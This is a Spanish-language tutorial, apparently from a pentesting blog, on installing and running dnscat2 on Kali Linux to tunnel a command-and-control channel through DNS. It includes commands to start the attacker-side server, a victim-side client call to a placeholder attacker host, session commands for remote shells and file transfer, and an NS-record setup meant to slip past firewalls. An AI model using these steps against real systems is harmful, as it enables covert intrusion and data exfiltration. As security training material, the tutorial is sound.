Guía de dnscat2 en Kali Linux
Guía de dnscat2 en Kali Linux
dnscat2 es una herramienta diseñada para crear un canal de comando y control (C2) a través del protocolo DNS. Es especialmente útil durante pruebas de penetración en entornos donde el tráfico web o SSH está bloqueado, pero las consultas DNS están permitidas.
Aquí tienes una guía paso a paso para configurar y usar dnscat2 en Kali Linux.
1. ¿Cómo funciona dnscat2?
A diferencia de una conexión normal, dnscat2 no se conecta directamente por IP. El cliente encapsula los datos dentro de consultas DNS (como registros TXT o CNAME). Estas consultas viajan a través de la infraestructura de DNS de internet hasta llegar al servidor de dnscat2.
2. Instalación en Kali Linux
Generalmente, dnscat2 no viene instalado por defecto, pero puedes obtenerlo fácilmente desde los repositorios o GitHub.
Instalación del Servidor (Lado del Atacante)
El servidor está escrito en Ruby.
sudo apt update
sudo apt install dnscat2
Si prefieres la versión de desarrollo:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
gem install bundler
bundle install
3. Uso Básico (Modo Directo)
Este modo se usa para pruebas locales o cuando tienes conexión directa por IP (puerto UDP 53).
Paso 1: Iniciar el servidor
En tu máquina Kali, ejecuta:
sudo dnscat2 --dns "domain=tu-dominio.com"
Si no tienes un dominio configurado, puedes simplemente correrlo para que escuche peticiones locales:
sudo dnscat2
Nota: El servidor te dará una "secret key" y un comando de ejemplo para el cliente.
Paso 2: Iniciar el cliente (Víctima)
El cliente debe descargarse en la máquina objetivo. Hay versiones en C y en PowerShell.
./dnscat --dns "server=IP_DE_KALI"
4. Comandos de Control
Una vez que el cliente se conecta, verás que se abre una sesión. Dnscat2 funciona de forma similar a Metasploit.
sessions: Lista todas las sesiones activas.session -i <id>: Interactúa con una sesión específica.window -i <id>: Alias para interactuar.shell: Solicita una shell interactiva (se abrirá como una nueva sesión).upload / download: Para transferir archivos.help: Muestra los comandos disponibles dentro de una sesión.
5. Escenario Real: Uso con Dominio (Recursivo)
Para que el tráfico parezca legítimo y atraviese firewalls estrictos, necesitas:
Un nombre de dominio propio (ej.
midominio.com).Configurar un registro NS que apunte a la IP de tu servidor Kali.
Cuando el cliente haga una consulta a algo.midominio.com, los servidores DNS de internet reenviarán esa petición automáticamente a tu Kali, permitiendo el control remoto sin conexión directa.
Advertencia: El túnel DNS es lento comparado con una conexión normal. No es ideal para transferir archivos pesados, pero es extremadamente difícil de bloquear sin cortar el acceso a internet.